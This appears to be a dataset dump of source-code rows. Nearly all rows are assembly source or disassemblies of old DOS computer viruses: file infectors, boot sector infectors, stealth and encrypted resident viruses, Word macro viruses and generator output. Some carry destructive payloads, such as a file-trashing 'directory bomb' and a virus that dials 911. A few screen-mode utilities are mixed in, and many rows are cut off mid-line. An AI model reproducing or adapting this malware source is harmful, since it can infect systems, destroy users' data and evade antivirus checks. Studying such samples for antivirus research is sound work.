text stringlengths 0 20k |
|---|
muttiny segment byte public
assume cs:muttiny, ds:muttiny
org 100h
start: db 0e9h, 5, 0 ; jmp startvir
restorehere: int 20h
idword: dw 990h
; The next line is incredibly pointless. It is a holdover from one
; of the origi... |
PAGE 60,132
;
;
; 15APR
;
; Created: 4-Mar-91
;
;
data_1e equ 4Ch ; (0000:004C=31h)
data_2e equ 4Eh ; (0000:004E=70h)
data_3e equ 84h ; (0000:0084=0E3h)
data_4e equ 86h ; (0000:0086=161Ah)
data_5e e... |
; =======================================================================>
; 100% By MnemoniX - 1994
;
; This is a memory resident .COM infector which hides itself using
; directory stealth (11/12 and 4E/4F). To avoid setting heuristic
; flags in TBAV, it overwrites part of the decryption routine with
; garbage an... |
VSize=085h
Code Segment
Assume CS:Code
org 0
db 4Dh
jmp Start
Org 600h
Bytes db 0CDh,20h,90h,90h
Start: mov si, 0100h
mov bx, offset Int21
mov ... |
;***************************************************************************
;* *
;* 196 - Research Virus Version 1.01 Date. 11th April 1992. *
;* *
;* Written ... |
;hmm.,.,.,.,without a name.,.,.,.,
;this file is much like the 606, only it
;is much more harmful...it has a special suprise
;for three diffrent dates....hehehehe.,.,,..,.,
;i had planned to have it in with the other TR-
;series, but this was much to large to add in with.,.,
;enjoy!....
; nUcLeii
; ... |
PAGE 59,132
;
;
; 1575-E
;
; Created: 23-May-92
; Passes: 5 Analysis Options on: none
;
;
data_1e equ 6
data_2e equ 84h
data_3e equ 86h
data_4e equ 100h
data_10e equ 31Fh
data_12e equ 0 ;*
d... |
; Basic little bitty program for people learning about the different modes
; you can stick on your monitor. This program will put you into 80*50 on a
; VGA monitor, and should be 80*43 on an EGA monitor (I dunno, haven't tested
; it.) Anyways, I tried to comment it so someone not knowing asm would be
; able to under... |
;****************************************************************************
;* Seventh son of a seventh son version 2
;****************************************************************************
cseg segment
assume cs:cseg,ds:cseg,es:cseg,ss:cseg
FILELEN equ ... |
;****************************************************************************
;* Seventh son of a seventh son version 4
;*
;* Compile with MASM 4.0
;* (other assemblers will probably not produce the same result)
;*
;* Disclaimer:
;* This file is only for educational purposes. The author takes no
;* responsibil... |
page 70,120
Name VIRUS
;*************************************************************************
; Program Virus Ver.: 1.1
; Copyright by R. Burger 1986
; This is a demonstration program for computer
; viruses. It has the ability to replicate itself,
; and the... |
; Kod rdowy wirusa nieznanego autorstwa. Widoczne s silne wpywy 648.
; Dodano wasne komentarze wskazujce na rnice midzy t wersj i oryginaem.
; Komentarze te poprzedzane s znakami AK:.
; Tekst znaleziony na dysku komputera FIDO w PC Kurierze 28 wrzenia 1990.
comment ;
***************************************************... |
title The '405' virus
page 65,132
; ͻ
; British Computer Virus Research Centre
; 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England
; Telephone: Domestic 0273-26105, International +44-273-26105
; ... |
PAGE 59,132
;
;
; 1701-B
;
; Created: 11-Feb-92
; Passes: 5 Analysis Options on: none
;
;
data_31e equ 27D1h ;*
data_36e equ 4CD6h ;*
data_39e equ 6950h ;*
data_45e equ 8848h ;*
data_50e e... |
; =======================================================================>
; 100% By MnemoniX - 1994
;
; This is a memory resident .COM infector which hides itself using
; directory stealth (11/12 and 4E/4F). To avoid setting heuristic
; flags in TBAV, it overwrites part of the decryption routine with
; garbage an... |
; Basic little bitty program for people learning about the different modes
; you can stick on your monitor. This program will put you into 80*50 on a
; VGA monitor, and should be 80*43 on an EGA monitor (I dunno, haven't tested
; it.) Anyways, I tried to comment it so someone not knowing asm would be
; able to under... |
;*****************************************************************************
;
; Pixel - 299 virus
;
; Disassembled By Admiral Bailey [YAM '92]
;
; Notes: I dont know where the hell I got this one from but when I found it on
; one of my disks it was named incorectly. Some Amst shit but I looked
; it u... |
;******************************************************************************
;* 44-virus version 1.0
;*
;* Assemble with Tasm 1.01
;*
;* The 44 virus is a non-resident overwriting virus with a lenght
;* of 44 bytes. It will infect all files with the extension .C*
;* in the current directory.
;*
;* ... |
;Smallest in the trivial series of viruses, I think....
;Last I saw was 30 bytes - this one goes to 29.
;Code by Stormbringer... stupid virus, but small.
.model tiny
.radix 16
.code
org 100
start:
FindFile:
xchg cx,ax ;ax defaults to zero on runtime - cx doesn't
p... |
;NAME: 512-X.C-M
;FILE SIZE: 00200h - 512d
;START (CS:IP): 00100h
;CODE END: 00300h
;CODE ORIGIN: 00100h
;DATE: Wed Aug 05 13:56:29 1992
CODE SEGMENT BYTE PUBLIC 'CODE'
ASSUME CS:CODE,DS:CODE,ES:NOTHING,SS:NOTHING
P00100 PROC
ORG 0100h
H00100: MOV AH,30h ;00100 B4... |
>>> Article From Evolution #2 - YAM '92
Article Title: 382 Virus
Author: Admiral Bailey
;=---
;
; 382 Virus (Family-Q as McAfee 91 calls it)
;
; Disassembled By Admiral Bailey [YAM '92]
; June 25, 1992
;
; The writer of this is unknown to me... maybe you should put some of
; your info in it.
;
; Notes:This virus I f... |
;***************************************************************************
;* *
;* 196 - Research Virus Version 1.01 Date. 11th April 1992. *
;* *
;* Written ... |
;90210 Virus from the TridenT virus research group.
;This is a semi-stealth virus that hides file-size changes while
;it is in memory. It marks the files w/the timestamp. It will
;infect COM files on open, execute, delete, and rename. It checks
;if it is in memory by calling Int 21h with DEADh in AX and uses MCB's
... |
PAGE 59,132
;
;
; 911 Virus
;
; This program is the 911 Virus. Use at your own risk. When the
; manipulation task begins, it will dial 911 through your modem
; and display "Support Your Police" on the screen.
;
; Assem... |
;tHE sKISM 808 vIRUS. cREATED 1991 BY sMART kIDS iNTO sICK mETHODS.
FILENAME equ 30 ;USED TO FIND FILE NAME
FILEATTR equ 21 ;USED TO FIND FILE ATTRIBUTES
FILEDATE equ 24 ;USED TO FIND FILE DATE
FILETIME equ 22 ;USED TO FIND... |
;******************************************************************
;* *
;* My First Virus, a simple non-overwriting COM infector *
;* *
;* by, Solomon ... |
; Virus name WWT-02
; Description Attack any COM file in current directory
; Comment Don't change Date/Time, ignore ReadOnly
; Date 19 Dec 1990 15:30
; Place CICTT
;
mov dx,offset FileMask ; FileMask for any COM file
mov ah,4eh ; Find first file
mov cx,1 ; including attrib Archive
int 21h ; Call... |
;----------------------------------------------------------------------------
; Web415
; ⢮ Search
;----------------------------------------------------------------------------
; (c) 1997 by I. Dikshew // [TAVC] // -=* Red Arc *=-
;----------------------... |
; WHATSUP.ASM -- Whats Up Virus
; Created with Nowhere Man's Virus Creation Laboratory v1.00
; Written by Unknown User
virus_type equ 2 ; Spawning Virus
is_encrypted equ 1 ; We're encrypted
tsr_virus equ 0 ; We're not TSR
code segment byte public
assume cs:code,ds:code,es:code,ss:code
org 0100h
start lab... |
;WASMVir --> A lame overwriting virus to demonstrate WASM
;Overwrites all files in the current directory
;By Lord Natas
org 100h
Start
mov ah,4eh
mov cx,7
mov dx,offset FileSpec
Virus
;----- find file
int 21h
jc EndV
;----- open file
mov ax,3d01h
mov dx,9eh
int 21h
jc Close
xchg bx,ax
;---... |
;Virus Name: W31V-BETA
;Type : Windows Virus, infects windows executables
;Written by: Stalker X
;
;
;Here it is folks my first windows virus.
;I would firstly just want to say thankyou to qark and quantum for this
;virus is based on the infection of a windows virus as discribed in VLAD-#4
;Ok as you can see parts... |
Name: Demenz
Author: Serialkiller
Resident: No
Encryption: Yes
Steahlt: Yes
The virus have 5 macros:
- AutoOpen
- AutoNew
- Demenz
- ToolsMacro
- FileSave
=============================================================================
=============================================================================
[AutoO... |
PAGE 59,132
;
;
; WWT-01
;
; Created: 15-Mar-91
; Passes: 5 Analysis Options on: none
;
;
data_009E_e equ 9Eh
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
wwt-01 proc far... |
Model Tiny
.code
.286
org 100h
start:
push cs
push offset Entry
retf
db 'DrWeb - !'
BEG_LEN equ $-start
Entry:
pusha
push ds
push es
call En1
EN_LEN equ $-Entry
En1:
push ds
pop es
xchg ax,di
pop bp
sub bp,EN_LEN
mov bx,1100h
mov ah,... |
PAGE 59,132
;
;
; WVIR14
;
; Created: 1-Sep-92
; Passes: 5 Analysis Options on: none
;
;
... |
ideal
@date = 0355h ;21.10.1981
@time = 8E79h ;17:51:50
model tiny
codeseg
startupcode
jmp begin
;
macro intdos
pushf
call [dword cs:oi21]
endm
;
i21: push ax
xor al,al
cmp ah,3ch
jz okk
cmp ah,5bh
jz okk
cmp ah,3dh
jz okk
inc al
cmp ah,16h
jz okk
cmp ah,0fh
jnz ov0
okk: jmp ok
ov0: cmp ah,1ah
jz se... |
; "One must crawl before one walks."
; wHaRpS Virus 1.0
; wHaRpS virus of independent virus writer FirstStrike
; For use by [Phalcon\Skism] ONLY!
; Special thanx to:
; Gheap
; Dark Angel
; Demogorgon
name wHaRpS
title
code segmen... |
;|
;| WEFLOW 1993 VIRUS BY TESLA 5
;|
;| THIS VIRUS IS BASED ON THE TRIDENT OVERWRITING VIRUS. SORRY FOR
;| LAMING AROUND, BUT IT KEEPS VARIANTS RISING. GREETINGS TO TRIDENT,
;| NUKE, PHALCON/SKISM AND YAM. YOU DON'T KNOW ME, BUT I DO...
;|
ORG 100H
MAIN: MOV AH,4EH
NOTSOC... |
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
ww proc far
start:
jmp loc_2
db 12 dup (90h)
db 0CDh, 20h
loc_2:
jmp short loc_3
db 90h, 2Ah, 2Eh, 63h, 6Fh, 6Dh
db 00h, 00h
data_8 db 'C:\Command.Com', 0
db 'C:\Autoexec.Bat', 0
db 'C:\Config.Sys', 0
db '\win'
data_12 d... |
PAGE 59,132
;
;
; WVIR14
;
; Created: 1-Sep-92
; Passes: 5 Analysis Options on: none
;
;
... |
'W97/Class.Poppy.B
'Word 97 Class Object Infector
'First Ever Class Object Infetor
Sub AutoOpen()
' AutoOpen Sub In Document
On Error GoTo out
' Handle Errors
Options.VirusProtection = False
' Turn Off Virus Protection
Options.SaveNormalPrompt = False
' Turn Off Normal.dot Save Prompt
Options.ConfirmConver... |
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
ww proc far
start:
jmp loc_2
db 12 dup (90h)
db 0CDh, 20h
loc_2:
jmp short loc_3
db 90h, 2Ah, 2Eh, 63h, 6Fh, 6Dh
db 00h, 00h
data_8 db 'C:\Command.Com', 0
db 'C:\Autoexec.Bat', 0
db 'C:\Config.Sys', 0
db '\win'
data_12 d... |
virus segment public 'code'
assume cs:virus,ds:virus,es:virus
org 0
VirusSize equ VirusEnd-$
Com: call Begin
call Label2
SavedCode:
mov ax,4c00h
int 21h
org SavedCode+5h
Label2: pop si
mov di,100h
push di
movsw
movsw
movsb
ret
Begin: push ds
push es
push ax
xor ax,ax
mov ds,ax
mov ds,d... |
;PHOEBE
;coded by Opic of the Codebreakers
;PHOEBE is an appending .com infector with DT via a dotdot routine
;infection criteria is met on a moday once all files that are capable of
;being infected by PHOEBE are, a payload is delivered:
;the monitor will print a message to the screen(in the French) which
;translat... |
PAGE 59,132
;
;
; PEBBLE
;
; Created: 21-Feb-92
; Passes: 5 Analysis Options on: none
;
;
data_0001e equ 9Eh
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
pebble proc far
... |
;----------------------------------------------
; Virus V-547
;
; Dissasembled: Andrzej Kadlof April 1991
;
; (C) Polish Section of Virus Information Bank
;----------------------------------------------
0100 E9FD00 JMP 0200 ; jump to virus
; ....
; victim code
;====================
; virus entry po... |
START SEGMENT
ASSUME CS:START,DS:START
MOV BX,80H
MOV CH,0
MOV CL,[BX]
DEC CX
MOV SI,OFFSET KODOK+100H
CALL BET
JZ KILEP
MOV SI,OFFSET FILEN+100H
CALL BET
JZ KILEP
MOV SI,OFFSET FILECO+100H
CALL BET
JMP FOLYT
KILEP: INT 20H
FOLYT: MOV SI,OFFSET KODOK+100H
MOV BX,OFFSET KODTB+100H
CIKL1: MOV AL,[SI]
OR A... |
;
; [Phasor] v1.0
; Written by Memory Lapse of Phalcon/Skism
;
; This is a simple memory resident, COM infector. It hides in the unused
; portion of the interrupt table starting at 0:1E0h.
;
; To Assemble:
; TASM [PHASOR10]/m2 - TLINK [PHASOR10]/T
;
.model tiny ;
.code ... |
; Advanced Fullscreen Disassembler v2.11
; Copyright (C) by Rumen Gerasimov (GERISOFT), 1987, 1988
;
; First listing: without DATA segment
;
; Segment value: 0000, length: 0200
;
BIOS_SEG SEGMENT at 0h
org 0020h
D0020 dw 0
D0022 dw 0
INTERR8 label far
org 004Ch
D004C dw 0
D004E dw 0
org 0413h
D0413 dw 0... |
code segment public 'code'
assume cs:code, ds:code, es:code
org 100h
Main: mov ah,30h ; fn 30h = Get Dosversion
int 21h ; int 21h
cmp al,4 ; major dosversion
sbb si,si
mov ah,52h ; get internal list of lists
int 21h ; int 21h
lds bx,es:[bx] ; get pointer to first drive
; paramenter b... |
page ,132
name V345
title V-345 - a mutation of the V-845 virus
.radix 16
code segment
assume cs:code,ds:code
org 100
timer equ 6C
olddta equ 80
virlen = offset endcode - offset start
newid = offset ident - offset start
start:
jmp short virus
ident dw 'VI'
counter db 0
allcom db '*.COM',0
progbeg dd ?
eof dw ... |
;PROTO-T virus: a simple, memory resident .COM infector for
;Crypt newsletter 9. Assemble with any MASM/TASM compatible assembler.
;
;On call, PROTO-T will manipulate the interrupt table directly, hooking
;int 21h and decreasing the amount of memory by a little over 1k.
;It will infect COMMAND.COM
;if a shell is insta... |
; Phantasie Mutation Engine --- DEMO
; This program will generate 50 mutation programs.
; (C) Copyright 1995 Written by Burglar. All Rights Reserved.
; Made In Taiwan.
.MODEL TINY
.CODE
ORG 100H
EXTRN PME:NEAR, PME_END:NEAR ;must declare PME to exte... |
PAGE 59,132
;
;
; PART
;
; Created: 10-Aug-92
; Passes: 5 Analysis Options on: J
;
;
data_11e equ 0F42h ;*
data_13e equ 2F42h ;*
data_14e equ 3F42h ;*
data_15e equ 65C4h ;*
data_16e equ 7... |
; This is the ashar variant of the classic Pakistani Brain virus. It is large
; by today's standards, although it was one of the first. It is a floppy only
; boot sector infector.
brain segment byte public
assume cs:brain, ds:brain
; Disassembly done by Dark Angel of PHALCON/SKISM
org 0
cli
j... |
PAGE 59,132
;
;
; POLIMER VIRUS
;
; Disassembly by >> Wasp << a.k.a. Night Crawler.
;
; Created: 5-Jan-92
; ... |
; - [Prodigy] v3.0
; Metabolis/VLAD
; _ _ .---------.
; | | |_| | T H E |
; | | _ `---------'
; _____ _____ _____ ___| | | | ______ _ _
; | _ | | .-. | | _ | | _ | | | | ___/ | | | |
; | |_| | | `... |
; virus 529 extracted from full memory dump published by N.N.Bezrukov
; in Virus Guide (Computer Virology) edition 3.5. First information about this
; virus has been released by D.N.Lozinsky (Leningrad USSR) before june 1990.
;
; Dissasembly: A.Kadlof 1990-08-31
;
; Virus code is placed at the begining of the file
010... |
page ,132
name V345
title V-345 - a mutation of the V-845 virus
.radix 16
code segment
assume cs:code,ds:code
org 100
timer equ 6C
olddta equ 80
virlen = offset endcode - offset start
newid = offset ident - offset start
start:
jmp short virus
ident dw 'VI'
counter db 0
allcom db '*.COM',0
progbeg dd ?
eof dw ... |
PAGE 59,132
;
;
; VIRI
;
; Created: 7-Jan-92
;
; Disassembled by -=>Wasp<=- aka >>Night Crawler<<
; Reassemble with TASM 2.0
;
DATA_1E EQU 0
DATA_2E... |
;
; Black Wolf's File Protection Utilities 2.1s
;
;PassCOM - This program password protects the specified file by attaching
; code from PW_COM onto the file so that it will check for passwords
; each execution. It utilizes ULTIMUTE .93 to protect then PW_COM
; code from eas... |
; VirusName : PARADISE LOST!
; Origin : Sweden
; Author : The Unforgiven
; Date : 20/12/93
; This is a "mutation", of Tormentor's .COM lession. I've modified
; some stuffs, but since I liked the .EXE infector better, I didn't
; cared too much about this one.
; Anyway, this is a non-resident current direct... |
.model tiny
.code
org 100h ;Where we start
over: jmp infect ;Go straight to the
;drop routine and do it
activate proc far
start: mov ah,0h ;Se... |
;PROTO-T virus: a simple, memory resident .COM infector for
;Crypt newsletter 9. Assemble with any MASM/TASM compatible assembler.
;
;On call, PROTO-T will manipulate the interrupt table directly, hooking
;int 21h and decreasing the amount of memory by a little over 1k.
;It will infect COMMAND.COM
;if a shell is insta... |
; PEARLHBR.ASM -- Pearl Harbor Virus
; Created with Nowhere Man's Virus Creation Laboratory v1.00
; Written by Nowhere Man
virus_type equ 2 ; Spawning Virus
is_encrypted equ 1 ; We're encrypted
tsr_virus equ 0 ; We're not TSR
code segment byte public
assume cs:code,ds:code,es:code,ss:code
org 0100h
start ... |
; [SCRUNCH] by Abraxas
.model tiny ; Handy directive
.code ; Virus code segment
org 100h ; COM file starting IP
entry_point: db 0e9h,0,0 ; jmp decrypt
decrypt: ; handles encrypti... |
; SMLBOOT.ASM -- Small Booter Virus
; Created with Nowhere Man's Virus Creation Laboratory v1.00
; Written by Virucidal Maniac
virus_type equ 2 ; Spawning Virus
is_encrypted equ 0 ; We're not encrypted
tsr_virus equ 0 ; We're not TSR
code segment byte public
assume cs:code,ds:code,es:code,ss:code
org 0100h... |
.model tiny
.code
org 100h
resid equ 3099h
fileid equ 's'
time_stamp equ 10001b ;stealth marker...
host:
jmp short entry
db 90h,fileid
vstart:
entry:
call $+3
gd:
mov si,sp
mov bp, word ptr [si]
sub bp,offset gd
... |
;
;
; V I R U S P R O T O T Y P E
;
; Author : Waleri Todorov, CICTT, (C)-Copyright 1991, All Rights Rsrvd
; Date : 25 Jan 1991 21:05
; Function : Found DOS stack in put hims... |
;
; Subconsious virus, written by Conzouler 1995.
;
; This virus is based on RSV.208.
;
; Effect:
; Flashes a text on line 4 on the screen.
; The text is drawn once on the screen with
; raster beam syncronisation. The after-
; glow can make the text visible for a longer
; period, especially when using black bac... |
start: jmp short begin
db (00h)
db (53h)
db (4bh)
int 20h
okey: db (0b8h)
db (03h)
db (00h)
db (0cdh)
db (10h)
begin: push cx
CALL F1
F1: POP SI
SUB SI,09
push cs
pop ds
push cs
pop es
MOV WORD PTR [LenF],SI
cld
mov di,100h
mov cx,5
rep movsb
jmp ding1
int21h: STI
cmp ah,... |
; THE ICELANDIC "DISK-CRUNCHING" VIRUS
;
; Another possible name for this virus might be "One-in-ten", since
; it tries to infect every tenth program run. The Icelandic name for
; this virus ("Diskaetuvirus") translates to "Disk-eating virus"
;
; It was first located at one site in mid-J... |
start: jmp short begin
db (00h)
db (53h)
db (4bh)
int 20h
okey: db (0b8h)
db (03h)
db (00h)
db (0cdh)
db (10h)
begin: push cx
CALL F1
F1: POP SI
SUB SI,09
mov ax,0
mov ds,ax
mov word ptr [312h],si
push cs
pop ds
push cs
pop es
cld
mov di,100h
mov cx,5
rep movsb
jmp ding2
int20h: mov ah,00h
j... |
;ް
; ް
; METRiC BUTTLOAD of CODE GENERATOR ް
; Copyright(c) 1994 - MBC - Ver. 0.91b ް
; ް
;ް
.MODEL TINY
.CODE
ORG 100H
ENTRY_POINT: DB 0E9H,0,0
DECRYPT:
MOV BP,(OFFSET HEAP - OFFSET ST... |
;
;
; V I R U S P R O T O T Y P E
;
; Author : Waleri Todorov, CICTT, (C)-Copyright 1991, All Rights Rsrvd
; Date : 25 Jan 1991 21:05
; Function : Found DOS stack in put himself in it. Then trace DOS
; function EXEC and type 'Infect File' ... |
>>> Article From Evolution #2 - YAM '92
Article Title: The Smurf Virus
Author: Admiral Bailey
;---
; The Smurf virus [40 Bytes Long]
;
; Author : Admiral Bailey [YAM '92]
; Date : June 6 1992
; Language : Assembly [TASM 2.0]
;
; Notes:The Smurf virus was my first attempt at writing the smallest
; overwri... |
ORG 100H
; The Screaming Fist II virus (c)1991 by Lazarus Long, Inc.
; The author assumes no responsibility for any damage incurred
; from the infection caused by this virus
CURTAIN_OPEN EQU $
ARE_WE_RESIDENT?:
CLD ;Do not remove this
CALL DECRYPT_US
NEXT_PLACE:
MOV AH,30H ... |
;----------------------------------------------------------------------------
; Wirus dostarczony Grzegorzowi Eiderowi do redakcji KOMPUTERA w poowie
; listopada 1989. Dostawc jest uytkownik z Wiednia:
;
; Karol Grabski
; Vien
; Krummgasse 3/18
; tel. 7133735
;
; SCAN 0.4V35 identyfikuje go jako: STONED V... |
;skism directory bomb v1.00
;written by hellraiser
;this is a lame bomb consisting of repetative/error full code
;but it gets the job done
;when run this program will start at the first directory from the root
;and trash all files in first level directorys
;then create a directory in place of the distroyed file name
... |
;|
;| SUICIDE VIRUS BY TESLA 5
;|
;| THIS VIRUS IS A SLIGHTLY MODIFIED VERSION OF THE DEICIDE VIRUS OF
;| GLENN BENTON, SO IT IS SMALLER IN SIZE AND A BIT MORE EFFICIENT. I
;| THINK GLENN WAS A BIG SATANIST, BECAUSE OF THE NAME DEI-CIDE (KILL
;| EVERYTHING THAT'S HOLY?). WELL, I MODIFIED THE CO... |
TITLE scrn4.asm
; AUTHOR Tim Spencer - Compuserve [73657,1400]
; DATE March 19, 1987
_TEXT SEGMENT BYTE PUBLIC 'CODE'
_TEXT ENDS
_DATA SEGMENT WORD PUBLIC 'DATA'
_DATA ENDS
DGROUP GROUP _DATA
ASSUME CS:_TEXT, DS:DGROUP, SS:DGROUP, ES:NOTHING
_TEXT SEGMENT BYTE PUBLIC 'CODE'
;--------------------------------... |
PAGE 60,132
;
;
; STONED2
;
; Created: 1-Jan-80
;
;
DATA_1E EQU 8 ; (694B:0008=0)
DATA_2E EQU 9 ; (694B:0009=0)
DATA_3E EQU 11H ; (694B:0011=0)
CODE_SEG_A SEGMENT
ASSUME CS:CODE_SEG_A, DS:CODE_SEG_A... |
start: jmp short begin
db (00h)
db (53h)
db (4bh)
int 20h
okey: db (0b8h)
db (03h)
db (00h)
db (0cdh)
db (10h)
begin: push cx
CALL F1
F1: POP SI
SUB SI,09
mov ax,0
mov ds,ax
mov word ptr [312h],si
push cs
pop ds
push cs
pop es
cld
mov di,100h
mov cx,5
rep movsb
jmp ding2
int20h: mov ah,00h
j... |
; Source code to South Houston High School virus ;
codeseg segment
assume cs:codeseg, ds:codeseg
org 100h
cr equ 13
lf equ 10
tab equ 9
start:
call encrypt_decrypt
jmp random_mutation
encrypt_val db 0
infect_file:
mov bx,handle ... |
start_1:
db 24h,21h,0e9h,0,0 ;first byte = jmp far, second byte = how much bytes to jump
ende_start_1:
;later here comes the host_program
start_2: ;here starts the virus
CALL delta ;get delta offset
delta: ;
pop bp ;
sub bp,offset delta ;
... |
TITLE scrn3.asm
; AUTHOR Tim Spencer - Compuserve [73657,1400]
; DATE March 17, 1987
_TEXT SEGMENT BYTE PUBLIC 'CODE'
_TEXT ENDS
_DATA SEGMENT WORD PUBLIC 'DATA'
SCRN STRUC ; screen data structure - defined in video.h
off dw 0 ; offset (cursor position)
seg dw 0 ; screen buffer address
port dw 0 ; status port a... |
TITLE scrn2.asm
; AUTHOR Tim Spencer - Compuserve [73657,1400]
; DATE March 15, 1987
_TEXT SEGMENT BYTE PUBLIC 'CODE'
_TEXT ENDS
_DATA SEGMENT WORD PUBLIC 'DATA'
SCRN STRUC ; screen data structure - defined in video.h
off dw 0 ; offset (cursor position)
seg dw 0 ; screen buffer address
port dw 0 ; status port... |
PAGE ,132
VIRUS SEGMENT PARA PUBLIC 'CODE'
ASSUME CS:VIRUS,DS:VIRUS
R1 EQU IDE-131H
R2 EQU BE1-1A3H
HOSSZ EQU VEG-KEZDET
ORG 100H
KEZDET EQU $
DB 1
CLI
MOV BP,SP
CALL IDE
IDE: POP BX ; A CIM VISSZAOLVASASA
SUB BX,131H
TEST CS:BYTE PTR [BX+KEZDET-R1],1
JZ INDIT
LEA SI,[BX+INDIT-R1]
MOV SP,OFFSET VEG-INDIT... |
PAGE 60,132
;
;
; STONED2
;
; Created: 1-Jan-80
;
;
DATA_1E EQU 8 ; (694B:0008=0)
DATA_2E EQU 9 ; (694B:0009=0)
DATA_3E EQU 11H ; (694B:0011=0)
CODE_SEG_A SEGMENT
ASSUME CS:CODE_SEG_A, DS:CODE_SEG_A... |
.286
.model tiny
.radix 16
.code
a equ 0D6
org 100
e: dec bp
push cs
push si
push cs
mov al,2E
push ax
mov es,ax
xor di,di
mov cl,l-e
rep movsb ;es:di = 2F:l-e ds:si = CS:l-e+100
push n-e
retf
n: push si
mov si,84
mov ds,cx
cmp [si],ax
jz f
movsw
mov [si-2],ax
xchg [si],ax
stosw
f: pop si
pop es ... |
;
; The Slim-Line 2 virus, from the Slim-line virus collection.
; (C) 1993 by [DRkRY]/TridenT
;
; And this time it's a direct action COM infector.
; <will be commented soon>
_CODE SEGMENT
ASSUME CS:_CODE, DS:_CODE, ES:_CODE
ORG 100h
FIRST:
DB 'D', 0E9h, 000h, 000h
VX:
MOV... |
; ------------------------------------------------------------------------- ;
; Sisoruen v1.8 coded by KilJaeden of the Codebreakers 1998 ;
; ------------------------------------------------------------------------- ;
; Description: `--------------------------------------| Size : 484 bytes ;
; ... |
comment *
Sparse.3840
Disassembly by
Darkman/29A
Sparse.3840 is a 3584 bytes parasitic resident COM virus. Infects at load
and/or execute program by appending the virus to the infected file.
To compile Sparse.3840 with Turbo Assembler v 4.0 type:
TASM /M SPARSE.ASM
TLINK /t /x ... |
; SOM.asm : [Argent] by Abraxas
; Created wik the Phalcon/Skism Mass-Produced Code Generator
; from the configuration file skeleton.cfg
.model tiny ; Handy directive
.code ; Virus code segment
org 100h ; COM file starting IP
... |
;
; The Slim-Line 1 virus, from the Slim-line virus strain.
; (C) 1993 by [DRkRY]/TridenT
;
; This one's a dumb overwriting virus, as small as possible,
; return to DOS and work with all dos versions. (no SI=100h tricks ect.)
;
_CODE SEGMENT
ASSUME CS:_CODE, DS:_CODE, ES:_CODE
ORG 100h
FIRST:
... |
; squish.asm : [$qsH] by FNk䤛h$
; Created wik the Phalcon/Skism Mass-Produced Code Generator
; from the configuration file skeleton.cfg
.model tiny ; Handy directive
.code ; Virus code segment
org 100h ; COM file starting IP
... |
; Virus generated by G 0.70
; G written by Dark Angel of Phalcon/Skism
; File: SAURON.ASM
; Sauron by Ender
id = 'AC'
.model tiny
.code
; Assemble with:
; TASM /m3 filename.ASM
; TLINK /t filename.OBJ
... |
PAGE 59,132
;
;
; SIMPSON
;
; Created: 4-Dec-92
; Passes: 5 Analysis Options on: none
;
;
data_1e equ 2Eh
data_10e equ 39Ah ;*
data_11e equ 39Ch ;*
data_12e equ 39Eh ;*
data_13e equ 3A0h ... |
; Senast ndrad 891213.
;
; Lgger gamla bootsectorn p sida 1, spr 0, sector 3.
; sida 0, spr 0, sector 7 p HD.
Code Segment
Assume cs:Code
Org 0000h
Main Proc Far
db 0EAh,05h,00h,0C0h,07h
jmp Near Ptr Init ; Hoppa frbi variabler och nya int13h
; Variabler
Old13h dd 0 ; Gamla vec... |
; Virus
; Satan's Little Helper-C
;This version:
;Searches current directory for non-infected com files, if any found
;it will become infected!
;This virus has a routine which self-destructs itself and uninfects
;the file.
assume cs:code
.286
code segment "code"
org 0100h
start proc
jmp v_start ;first 5 bytes |... |
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